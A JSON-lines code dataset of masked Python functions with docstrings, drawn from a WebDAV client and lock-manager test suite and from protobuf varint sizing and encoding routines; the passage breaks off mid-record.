{"signature": "def copy_collection(<EOL>self, source, destination, depth=\"<STR_LIT>\", overwrite=True, headers=None<EOL>):", "body": "body = (<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b\"<STR_LIT>\"<EOL>)<EOL>if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>headers[\"<STR_LIT:Content-Type>\"] = '<STR_LIT>'<EOL>self.copy(<EOL>source,<EOL>destination,<EOL>body=body,<EOL>depth=depth,<EOL>overwrite=overwrite,<EOL>headers=headers,<EOL>)<EOL>", "docstring": "Copy DAV collection.\n\n        Note: support for the \"propertybehavior\" request body for COPY and MOVE\n              has been removed with RFC4918", "id": "f8632:c1:m14"}
{"signature": "def move(<EOL>self,<EOL>source,<EOL>destination,<EOL>body=None,<EOL>depth=\"<STR_LIT>\",<EOL>overwrite=True,<EOL>headers=None,<EOL>):", "body": "assert body is None or is_bytes(body)<EOL>if headers is None:<EOL><INDENT>headers = {\"<STR_LIT>\": destination}<EOL><DEDENT>else:<EOL><INDENT>headers[\"<STR_LIT>\"] = self._url.geturl() + destination<EOL><DEDENT>if overwrite is False:<EOL><INDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT:F>\"<EOL><DEDENT>headers[\"<STR_LIT>\"] = depth<EOL>self._request(\"<STR_LIT>\", source, body=body, headers=headers)<EOL>", "docstring": "Move DAV resource", "id": "f8632:c1:m15"}
{"signature": "def move_collection(<EOL>self, source, destination, depth=\"<STR_LIT>\", overwrite=True, headers=None<EOL>):", "body": "body = (<EOL>b'<STR_LIT>'<EOL>b'<STR_LIT>'<EOL>b\"<STR_LIT>\"<EOL>)<EOL>if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>headers[\"<STR_LIT:Content-Type>\"] = '<STR_LIT>'<EOL>self.move(<EOL>source, destination, body, depth=depth, overwrite=overwrite, headers=headers<EOL>)<EOL>", "docstring": "Move DAV collection and copy all properties.\n\n        Note: support for the \"propertybehavior\" request body for COPY and MOVE\n              has been removed with RFC4918", "id": "f8632:c1:m16"}
{"signature": "def propfind(<EOL>self, path, properties=\"<STR_LIT>\", namespace=\"<STR_LIT>\", depth=None, headers=None<EOL>):", "body": "<EOL>root = ElementTree.Element(\"<STR_LIT>\")<EOL>if is_native(properties):<EOL><INDENT>ElementTree.SubElement(root, \"<STR_LIT>\" % properties)<EOL><DEDENT>else:<EOL><INDENT>props = ElementTree.SubElement(root, \"<STR_LIT>\")<EOL>object_to_etree(props, properties, namespace=namespace)<EOL><DEDENT>tree = ElementTree.ElementTree(root)<EOL>body = self._tree_to_binary_body(tree)<EOL>if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>if depth is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = depth<EOL><DEDENT>headers[\"<STR_LIT:Content-Type>\"] = '<STR_LIT>'<EOL>self._request(\"<STR_LIT>\", path, body=body, headers=headers)<EOL>if self.response is not None and hasattr(self.response, \"<STR_LIT>\") is True:<EOL><INDENT>property_responses = {}<EOL>for response in self.response.tree:<EOL><INDENT>property_href = response.find(\"<STR_LIT>\")<EOL>property_stat = response.find(\"<STR_LIT>\")<EOL>def parse_props(props):<EOL><INDENT>property_dict = {}<EOL>for prop in props:<EOL><INDENT>if prop.tag.find(\"<STR_LIT>\") is not -<NUM_LIT:1>:<EOL><INDENT>name = prop.tag.split(\"<STR_LIT:}>\")[-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>name = prop.tag<EOL><DEDENT>if len(list(prop)):<EOL><INDENT>property_dict[name] = parse_props(prop)<EOL><DEDENT>else:<EOL><INDENT>property_dict[name] = prop.text<EOL><DEDENT><DEDENT>return property_dict<EOL><DEDENT>if property_href is not None and property_stat is not None:<EOL><INDENT>property_dict = parse_props(property_stat.find(\"<STR_LIT>\"))<EOL>property_responses[property_href.text] = property_dict<EOL><DEDENT><DEDENT>return property_responses<EOL><DEDENT>", "docstring": "Property find. If properties arg is unspecified it defaults to 'allprop'.", "id": "f8632:c1:m17"}
{"signature": "def proppatch(<EOL>self, path, set_props=None, remove_props=None, namespace=\"<STR_LIT>\", headers=None<EOL>):", "body": "root = ElementTree.Element(\"<STR_LIT>\")<EOL>if set_props is not None:<EOL><INDENT>prop_set = ElementTree.SubElement(root, \"<STR_LIT>\")<EOL>for p in set_props:<EOL><INDENT>prop_prop = ElementTree.SubElement(prop_set, \"<STR_LIT>\")<EOL>object_to_etree(prop_prop, p, namespace=namespace)<EOL><DEDENT><DEDENT>if remove_props is not None:<EOL><INDENT>prop_remove = ElementTree.SubElement(root, \"<STR_LIT>\")<EOL>for p in remove_props:<EOL><INDENT>prop_prop = ElementTree.SubElement(prop_remove, \"<STR_LIT>\")<EOL>object_to_etree(prop_prop, p, namespace=namespace)<EOL><DEDENT><DEDENT>tree = ElementTree.ElementTree(root)<EOL>body = self._tree_to_binary_body(tree)<EOL>if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>headers[\"<STR_LIT:Content-Type>\"] = '<STR_LIT>'<EOL>self._request(\"<STR_LIT>\", path, body=body, headers=headers)<EOL>", "docstring": "Patch properties on a DAV resource.\n\n        If namespace is not specified, the DAV namespace is used for all properties.", "id": "f8632:c1:m18"}
{"signature": "def set_lock(<EOL>self,<EOL>path,<EOL>owner,<EOL>lock_type=\"<STR_LIT>\",<EOL>lock_scope=\"<STR_LIT>\",<EOL>depth=None,<EOL>headers=None,<EOL>):", "body": "root = ElementTree.Element(\"<STR_LIT>\")<EOL>object_to_etree(<EOL>root,<EOL>{\"<STR_LIT>\": lock_type, \"<STR_LIT>\": lock_scope, \"<STR_LIT>\": {\"<STR_LIT>\": owner}},<EOL>namespace=\"<STR_LIT>\",<EOL>)<EOL>tree = ElementTree.ElementTree(root)<EOL>if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>if depth is not None:<EOL><INDENT>headers[\"<STR_LIT>\"] = depth<EOL><DEDENT>headers[\"<STR_LIT:Content-Type>\"] = '<STR_LIT>'<EOL>headers[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>body = self._tree_to_binary_body(tree)<EOL>self._request(\"<STR_LIT>\", path, body=body, headers=headers)<EOL>locks = self.response.tree.findall(\"<STR_LIT>\")<EOL>lock_list = []<EOL>for lock in locks:<EOL><INDENT>lock_list.append(lock[<NUM_LIT:0>].text.strip().strip(\"<STR_LIT:\\n>\"))<EOL><DEDENT>return lock_list<EOL>", "docstring": "Set a lock on a dav resource", "id": "f8632:c1:m19"}
{"signature": "def refresh_lock(self, path, token, headers=None):", "body": "if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT>\" % token<EOL>headers[\"<STR_LIT>\"] = \"<STR_LIT>\"<EOL>self._request(\"<STR_LIT>\", path, body=None, headers=headers)<EOL>", "docstring": "Refresh lock with token", "id": "f8632:c1:m20"}
{"signature": "def unlock(self, path, token, headers=None):", "body": "if headers is None:<EOL><INDENT>headers = {}<EOL><DEDENT>headers[\"<STR_LIT>\"] = \"<STR_LIT>\" % token<EOL>self._request(\"<STR_LIT>\", path, body=None, headers=headers)<EOL>", "docstring": "Unlock DAV resource with token", "id": "f8632:c1:m21"}
{"signature": "def check_response(self, status=None):", "body": "__tracebackhide__ = True<EOL>res = self.response<EOL>full_status = \"<STR_LIT>\" % (res.status_code, res.reason)<EOL>content_length = int(res.headers.get(\"<STR_LIT>\", <NUM_LIT:0>))<EOL>if content_length and len(res.content) != content_length:<EOL><INDENT>raise AppError(<EOL>\"<STR_LIT>\"<EOL>% (content_length, len(res.content))<EOL>)<EOL><DEDENT>if status == \"<STR_LIT:*>\":<EOL><INDENT>return<EOL><DEDENT>if isinstance(status, (list, tuple)):<EOL><INDENT>if res.status_code not in status:<EOL><INDENT>raise AppError(<EOL>\"<STR_LIT>\".format(<EOL>full_status,<EOL>\"<STR_LIT:U+002CU+0020>\".join(map(str, status)),<EOL>self.request[\"<STR_LIT>\"],<EOL>self.request[\"<STR_LIT:path>\"],<EOL>res.content,<EOL>)<EOL>)<EOL><DEDENT>return<EOL><DEDENT>if status is None:<EOL><INDENT>if res.status_code >= <NUM_LIT:200> and res.status_code < <NUM_LIT>:<EOL><INDENT>return<EOL><DEDENT>raise AssertionError(<EOL>\"<STR_LIT>\".format(<EOL>full_status,<EOL>self.request[\"<STR_LIT>\"],<EOL>self.request[\"<STR_LIT:path>\"],<EOL>res.content,<EOL>)<EOL>)<EOL><DEDENT>if status != res.status_code:<EOL><INDENT>raise AppError(\"<STR_LIT>\" % (full_status, status))<EOL><DEDENT>", "docstring": "Raise an error, if self.response doesn\"t match expected status.\n\n        Inspired by paste.fixture", "id": "f8632:c1:m22"}
{"signature": "def _prepareTree0(self):", "body": "client = self.client<EOL>data = b\"<STR_LIT>\"<EOL>client.delete(\"<STR_LIT>\")<EOL>client.mkcol(\"<STR_LIT>\")<EOL>client.mkcol(\"<STR_LIT>\")<EOL>client.mkcol(\"<STR_LIT>\")<EOL>client.mkcol(\"<STR_LIT>\")<EOL>client.put(\"<STR_LIT>\", data)<EOL>client.put(\"<STR_LIT>\", data)<EOL>client.put(\"<STR_LIT>\", data)<EOL>client.check_response(<NUM_LIT>)<EOL>", "docstring": "Create a resource structure for testing.\n\n        /test/a/\n                b/\n                  d\n                c\n              x/\n                y", "id": "f8633:c1:m5"}
{"signature": "def _checkCommonLock(self, client2):", "body": "<EOL>client2.delete(\"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.delete(\"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.move(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.move(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.move(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.move(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.move(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.copy(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.put(\"<STR_LIT>\", b\"<STR_LIT:data>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.mkcol(\"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.set_lock(\"<STR_LIT>\", owner=\"<STR_LIT>\", depth=\"<STR_LIT:0>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.set_lock(\"<STR_LIT>\", owner=\"<STR_LIT>\", depth=\"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.set_lock(\"<STR_LIT>\", owner=\"<STR_LIT>\", depth=\"<STR_LIT>\")<EOL>client2.check_response(<NUM_LIT>)<EOL>client2.proppatch(\"<STR_LIT>\", set_props=[(\"<STR_LIT>\", \"<STR_LIT>\")])<EOL>client2.check_response(<NUM_LIT>)<EOL>", "docstring": "Check for access when /test/a/ of our sample tree is locked.\n\n        These operations must be protected when our sample tree is locked\n        either 0 or infinite depth, so we expect '423 Locked'.\n\n        Since all operations fail, the tree is unmodified.\n\n        See http://www.webdav.org/specs/rfc4918.html#write.locks.and.collections", "id": "f8633:c1:m6"}
{"signature": "def _acquire(<EOL>self,<EOL>url,<EOL>lock_type,<EOL>lock_scope,<EOL>lock_depth,<EOL>lock_owner,<EOL>timeout,<EOL>principal,<EOL>token_list,<EOL>):", "body": "try:<EOL><INDENT>return self.lm.acquire(<EOL>url,<EOL>lock_type,<EOL>lock_scope,<EOL>lock_depth,<EOL>lock_owner,<EOL>timeout,<EOL>principal,<EOL>token_list,<EOL>)<EOL><DEDENT>except DAVError:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Wrapper for lm.acquire, that returns None instead of raising DAVError.", "id": "f8635:c0:m2"}
{"signature": "def _isLockResultOK(self, resultTupleList):", "body": "try:<EOL><INDENT>return (<EOL>len(resultTupleList) == <NUM_LIT:1><EOL>and len(resultTupleList) == <NUM_LIT:2><EOL>and self._isLockDict(resultTupleList[<NUM_LIT:0>][<NUM_LIT:0>])<EOL>and resultTupleList[<NUM_LIT:0>][<NUM_LIT:1>] is None<EOL>)<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return True, if result is [ (lock_dict, None) ].", "id": "f8635:c0:m4"}
{"signature": "def _isLockResultFault(self, lock, conflictList, status=None):", "body": "try:<EOL><INDENT>if lock is not None:<EOL><INDENT>return False<EOL><DEDENT>if len(conflictList) < <NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT>resultTuple = conflictList[<NUM_LIT:0>]<EOL>if (<EOL>len(resultTuple) != <NUM_LIT:2><EOL>or not self._isLockDict(resultTuple[<NUM_LIT:0>])<EOL>or not isinstance(resultTuple[<NUM_LIT:1>], DAVError)<EOL>):<EOL><INDENT>return False<EOL><DEDENT>elif status and status != DAVError.value:<EOL><INDENT>return False<EOL><DEDENT>return True<EOL><DEDENT>except Exception:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return True, if it is a valid result tuple containing a DAVError.", "id": "f8635:c0:m5"}
{"signature": "def _VarintSize(value):", "body": "if value <= <NUM_LIT>: return <NUM_LIT:1><EOL>if value <= <NUM_LIT>: return <NUM_LIT:2><EOL>if value <= <NUM_LIT>: return <NUM_LIT:3><EOL>if value <= <NUM_LIT>: return <NUM_LIT:4><EOL>if value <= <NUM_LIT>: return <NUM_LIT:5><EOL>if value <= <NUM_LIT>: return <NUM_LIT:6><EOL>if value <= <NUM_LIT>: return <NUM_LIT:7><EOL>if value <= <NUM_LIT>: return <NUM_LIT:8><EOL>if value <= <NUM_LIT>: return <NUM_LIT:9><EOL>return <NUM_LIT:10><EOL>", "docstring": "Compute the size of a varint value.", "id": "f8647:m0"}
{"signature": "def _SignedVarintSize(value):", "body": "if value < <NUM_LIT:0>: return <NUM_LIT:10><EOL>if value <= <NUM_LIT>: return <NUM_LIT:1><EOL>if value <= <NUM_LIT>: return <NUM_LIT:2><EOL>if value <= <NUM_LIT>: return <NUM_LIT:3><EOL>if value <= <NUM_LIT>: return <NUM_LIT:4><EOL>if value <= <NUM_LIT>: return <NUM_LIT:5><EOL>if value <= <NUM_LIT>: return <NUM_LIT:6><EOL>if value <= <NUM_LIT>: return <NUM_LIT:7><EOL>if value <= <NUM_LIT>: return <NUM_LIT:8><EOL>if value <= <NUM_LIT>: return <NUM_LIT:9><EOL>return <NUM_LIT:10><EOL>", "docstring": "Compute the size of a signed varint value.", "id": "f8647:m1"}
{"signature": "def _TagSize(field_number):", "body": "<EOL>return _VarintSize(wire_format.PackTag(field_number, <NUM_LIT:0>))<EOL>", "docstring": "Returns the number of bytes required to serialize a tag with this field\n    number.", "id": "f8647:m2"}
{"signature": "def _SimpleSizer(compute_value_size):", "body": "def SpecificSizer(field_number, is_repeated, is_packed):<EOL><INDENT>tag_size = _TagSize(field_number)<EOL>if is_packed:<EOL><INDENT>local_VarintSize = _VarintSize<EOL>def PackedFieldSize(value):<EOL><INDENT>result = <NUM_LIT:0><EOL>for element in value:<EOL><INDENT>result += compute_value_size(element)<EOL><DEDENT>return result + local_VarintSize(result) + tag_size<EOL><DEDENT>return PackedFieldSize<EOL><DEDENT>elif is_repeated:<EOL><INDENT>def RepeatedFieldSize(value):<EOL><INDENT>result = tag_size * len(value)<EOL>for element in value:<EOL><INDENT>result += compute_value_size(element)<EOL><DEDENT>return result<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>def FieldSize(value):<EOL><INDENT>return tag_size + compute_value_size(value)<EOL><DEDENT>return FieldSize<EOL><DEDENT><DEDENT>return SpecificSizer<EOL>", "docstring": "A sizer which uses the function compute_value_size to compute the size of\n    each value.  Typically compute_value_size is _VarintSize.", "id": "f8647:m3"}
{"signature": "def _ModifiedSizer(compute_value_size, modify_value):", "body": "def SpecificSizer(field_number, is_repeated, is_packed):<EOL><INDENT>tag_size = _TagSize(field_number)<EOL>if is_packed:<EOL><INDENT>local_VarintSize = _VarintSize<EOL>def PackedFieldSize(value):<EOL><INDENT>result = <NUM_LIT:0><EOL>for element in value:<EOL><INDENT>result += compute_value_size(modify_value(element))<EOL><DEDENT>return result + local_VarintSize(result) + tag_size<EOL><DEDENT>return PackedFieldSize<EOL><DEDENT>elif is_repeated:<EOL><INDENT>def RepeatedFieldSize(value):<EOL><INDENT>result = tag_size * len(value)<EOL>for element in value:<EOL><INDENT>result += compute_value_size(modify_value(element))<EOL><DEDENT>return result<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>def FieldSize(value):<EOL><INDENT>return tag_size + compute_value_size(modify_value(value))<EOL><DEDENT>return FieldSize<EOL><DEDENT><DEDENT>return SpecificSizer<EOL>", "docstring": "Like SimpleSizer, but modify_value is invoked on each value before it is\n    passed to compute_value_size.  modify_value is typically ZigZagEncode.", "id": "f8647:m4"}
{"signature": "def _FixedSizer(value_size):", "body": "def SpecificSizer(field_number, is_repeated, is_packed):<EOL><INDENT>tag_size = _TagSize(field_number)<EOL>if is_packed:<EOL><INDENT>local_VarintSize = _VarintSize<EOL>def PackedFieldSize(value):<EOL><INDENT>result = len(value) * value_size<EOL>return result + local_VarintSize(result) + tag_size<EOL><DEDENT>return PackedFieldSize<EOL><DEDENT>elif is_repeated:<EOL><INDENT>element_size = value_size + tag_size<EOL>def RepeatedFieldSize(value):<EOL><INDENT>return len(value) * element_size<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>field_size = value_size + tag_size<EOL>def FieldSize(value):<EOL><INDENT>return field_size<EOL><DEDENT>return FieldSize<EOL><DEDENT><DEDENT>return SpecificSizer<EOL>", "docstring": "Like _SimpleSizer except for a fixed-size field.  The input is the size\n    of one value.", "id": "f8647:m5"}
{"signature": "def StringSizer(field_number, is_repeated, is_packed):", "body": "tag_size = _TagSize(field_number)<EOL>local_VarintSize = _VarintSize<EOL>local_len = len<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def RepeatedFieldSize(value):<EOL><INDENT>result = tag_size * len(value)<EOL>for element in value:<EOL><INDENT>l = local_len(element.encode('<STR_LIT:utf-8>'))<EOL>result += local_VarintSize(l) + l<EOL><DEDENT>return result<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>def FieldSize(value):<EOL><INDENT>l = local_len(value.encode('<STR_LIT:utf-8>'))<EOL>return tag_size + local_VarintSize(l) + l<EOL><DEDENT>return FieldSize<EOL><DEDENT>", "docstring": "Returns a sizer for a string field.", "id": "f8647:m6"}
{"signature": "def BytesSizer(field_number, is_repeated, is_packed):", "body": "tag_size = _TagSize(field_number)<EOL>local_VarintSize = _VarintSize<EOL>local_len = len<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def RepeatedFieldSize(value):<EOL><INDENT>result = tag_size * len(value)<EOL>for element in value:<EOL><INDENT>l = local_len(element)<EOL>result += local_VarintSize(l) + l<EOL><DEDENT>return result<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>def FieldSize(value):<EOL><INDENT>l = local_len(value)<EOL>return tag_size + local_VarintSize(l) + l<EOL><DEDENT>return FieldSize<EOL><DEDENT>", "docstring": "Returns a sizer for a bytes field.", "id": "f8647:m7"}
{"signature": "def GroupSizer(field_number, is_repeated, is_packed):", "body": "tag_size = _TagSize(field_number) * <NUM_LIT:2><EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def RepeatedFieldSize(value):<EOL><INDENT>result = tag_size * len(value)<EOL>for element in value:<EOL><INDENT>result += element.ByteSize()<EOL><DEDENT>return result<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>def FieldSize(value):<EOL><INDENT>return tag_size + value.ByteSize()<EOL><DEDENT>return FieldSize<EOL><DEDENT>", "docstring": "Returns a sizer for a group field.", "id": "f8647:m8"}
{"signature": "def MessageSizer(field_number, is_repeated, is_packed):", "body": "tag_size = _TagSize(field_number)<EOL>local_VarintSize = _VarintSize<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def RepeatedFieldSize(value):<EOL><INDENT>result = tag_size * len(value)<EOL>for element in value:<EOL><INDENT>l = element.ByteSize()<EOL>result += local_VarintSize(l) + l<EOL><DEDENT>return result<EOL><DEDENT>return RepeatedFieldSize<EOL><DEDENT>else:<EOL><INDENT>def FieldSize(value):<EOL><INDENT>l = value.ByteSize()<EOL>return tag_size + local_VarintSize(l) + l<EOL><DEDENT>return FieldSize<EOL><DEDENT>", "docstring": "Returns a sizer for a message field.", "id": "f8647:m9"}
{"signature": "def MessageSetItemSizer(field_number):", "body": "static_size = (_TagSize(<NUM_LIT:1>) * <NUM_LIT:2> + _TagSize(<NUM_LIT:2>) + _VarintSize(field_number) +<EOL>_TagSize(<NUM_LIT:3>))<EOL>local_VarintSize = _VarintSize<EOL>def FieldSize(value):<EOL><INDENT>l = value.ByteSize()<EOL>return static_size + local_VarintSize(l) + l<EOL><DEDENT>return FieldSize<EOL>", "docstring": "Returns a sizer for extensions of MessageSet.\n\n    The message set message looks like this:\n      message MessageSet {\n        repeated group Item = 1 {\n          required int32 type_id = 2;\n          required string message = 3;\n        }\n      }", "id": "f8647:m10"}
{"signature": "def MapSizer(field_descriptor):", "body": "<EOL>message_type = field_descriptor.message_type<EOL>message_sizer = MessageSizer(field_descriptor.number, False, False)<EOL>def FieldSize(map_value):<EOL><INDENT>total = <NUM_LIT:0><EOL>for key in map_value:<EOL><INDENT>value = map_value[key]<EOL>entry_msg = message_type._concrete_class(key=key, value=value)<EOL>total += message_sizer(entry_msg)<EOL><DEDENT>return total<EOL><DEDENT>return FieldSize<EOL>", "docstring": "Returns a sizer for a map field.", "id": "f8647:m11"}
{"signature": "def _VarintEncoder():", "body": "def EncodeVarint(write, value):<EOL><INDENT>bits = value & <NUM_LIT><EOL>value >>= <NUM_LIT:7><EOL>while value:<EOL><INDENT>write(six.int2byte(<NUM_LIT>|bits))<EOL>bits = value & <NUM_LIT><EOL>value >>= <NUM_LIT:7><EOL><DEDENT>return write(six.int2byte(bits))<EOL><DEDENT>return EncodeVarint<EOL>", "docstring": "Return an encoder for a basic varint value (does not include tag).", "id": "f8647:m12"}
{"signature": "def _SignedVarintEncoder():", "body": "def EncodeSignedVarint(write, value):<EOL><INDENT>if value < <NUM_LIT:0>:<EOL><INDENT>value += (<NUM_LIT:1> << <NUM_LIT:64>)<EOL><DEDENT>bits = value & <NUM_LIT><EOL>value >>= <NUM_LIT:7><EOL>while value:<EOL><INDENT>write(six.int2byte(<NUM_LIT>|bits))<EOL>bits = value & <NUM_LIT><EOL>value >>= <NUM_LIT:7><EOL><DEDENT>return write(six.int2byte(bits))<EOL><DEDENT>return EncodeSignedVarint<EOL>", "docstring": "Return an encoder for a basic signed varint value (does not include\n    tag).", "id": "f8647:m13"}
{"signature": "def _VarintBytes(value):", "body": "pieces = []<EOL>_EncodeVarint(pieces.append, value)<EOL>return b\"<STR_LIT>\".join(pieces)<EOL>", "docstring": "Encode the given integer as a varint and return the bytes.  This is only\n    called at startup time so it doesn't need to be fast.", "id": "f8647:m14"}
{"signature": "def TagBytes(field_number, wire_type):", "body": "return _VarintBytes(wire_format.PackTag(field_number, wire_type))<EOL>", "docstring": "Encode the given tag and return the bytes.  Only called at startup.", "id": "f8647:m15"}
{"signature": "def _SimpleEncoder(wire_type, encode_value, compute_value_size):", "body": "def SpecificEncoder(field_number, is_repeated, is_packed):<EOL><INDENT>if is_packed:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>def EncodePackedField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>size = <NUM_LIT:0><EOL>for element in value:<EOL><INDENT>size += compute_value_size(element)<EOL><DEDENT>local_EncodeVarint(write, size)<EOL>for element in value:<EOL><INDENT>encode_value(write, element)<EOL><DEDENT><DEDENT>return EncodePackedField<EOL><DEDENT>elif is_repeated:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag_bytes)<EOL>encode_value(write, element)<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>return encode_value(write, value)<EOL><DEDENT>return EncodeField<EOL><DEDENT><DEDENT>return SpecificEncoder<EOL>", "docstring": "Return a constructor for an encoder for fields of a particular type.\n\n    Args:\n        wire_type:  The field's wire type, for encoding tags.\n        encode_value:  A function which encodes an individual value, e.g.\n          _EncodeVarint().\n        compute_value_size:  A function which computes the size of an individual\n          value, e.g. _VarintSize().", "id": "f8647:m16"}
{"signature": "def _ModifiedEncoder(wire_type, encode_value, compute_value_size, modify_value):", "body": "def SpecificEncoder(field_number, is_repeated, is_packed):<EOL><INDENT>if is_packed:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>def EncodePackedField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>size = <NUM_LIT:0><EOL>for element in value:<EOL><INDENT>size += compute_value_size(modify_value(element))<EOL><DEDENT>local_EncodeVarint(write, size)<EOL>for element in value:<EOL><INDENT>encode_value(write, modify_value(element))<EOL><DEDENT><DEDENT>return EncodePackedField<EOL><DEDENT>elif is_repeated:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag_bytes)<EOL>encode_value(write, modify_value(element))<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>return encode_value(write, modify_value(value))<EOL><DEDENT>return EncodeField<EOL><DEDENT><DEDENT>return SpecificEncoder<EOL>", "docstring": "Like SimpleEncoder but additionally invokes modify_value on every value\n    before passing it to encode_value.  Usually modify_value is ZigZagEncode.", "id": "f8647:m17"}
{"signature": "def _StructPackEncoder(wire_type, format):", "body": "value_size = struct.calcsize(format)<EOL>def SpecificEncoder(field_number, is_repeated, is_packed):<EOL><INDENT>local_struct_pack = struct.pack<EOL>if is_packed:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>def EncodePackedField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>local_EncodeVarint(write, len(value) * value_size)<EOL>for element in value:<EOL><INDENT>write(local_struct_pack(format, element))<EOL><DEDENT><DEDENT>return EncodePackedField<EOL><DEDENT>elif is_repeated:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag_bytes)<EOL>write(local_struct_pack(format, element))<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>return write(local_struct_pack(format, value))<EOL><DEDENT>return EncodeField<EOL><DEDENT><DEDENT>return SpecificEncoder<EOL>", "docstring": "Return a constructor for an encoder for a fixed-width field.\n\n    Args:\n        wire_type:  The field's wire type, for encoding tags.\n        format:  The format string to pass to struct.pack().", "id": "f8647:m18"}
{"signature": "def _FloatingPointEncoder(wire_type, format):", "body": "value_size = struct.calcsize(format)<EOL>if value_size == <NUM_LIT:4>:<EOL><INDENT>def EncodeNonFiniteOrRaise(write, value):<EOL><INDENT>if value == _POS_INF:<EOL><INDENT>write(b'<STR_LIT>')<EOL><DEDENT>elif value == _NEG_INF:<EOL><INDENT>write(b'<STR_LIT>')<EOL><DEDENT>elif value != value:           <EOL><INDENT>write(b'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>elif value_size == <NUM_LIT:8>:<EOL><INDENT>def EncodeNonFiniteOrRaise(write, value):<EOL><INDENT>if value == _POS_INF:<EOL><INDENT>write(b'<STR_LIT>')<EOL><DEDENT>elif value == _NEG_INF:<EOL><INDENT>write(b'<STR_LIT>')<EOL><DEDENT>elif value != value:                         <EOL><INDENT>write(b'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>' % value_size)<EOL><DEDENT>def SpecificEncoder(field_number, is_repeated, is_packed):<EOL><INDENT>local_struct_pack = struct.pack<EOL>if is_packed:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>def EncodePackedField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>local_EncodeVarint(write, len(value) * value_size)<EOL>for element in value:<EOL><INDENT>try:<EOL><INDENT>write(local_struct_pack(format, element))<EOL><DEDENT>except SystemError:<EOL><INDENT>EncodeNonFiniteOrRaise(write, element)<EOL><DEDENT><DEDENT><DEDENT>return EncodePackedField<EOL><DEDENT>elif is_repeated:<EOL><INDENT>tag_bytes = TagBytes(field_number, 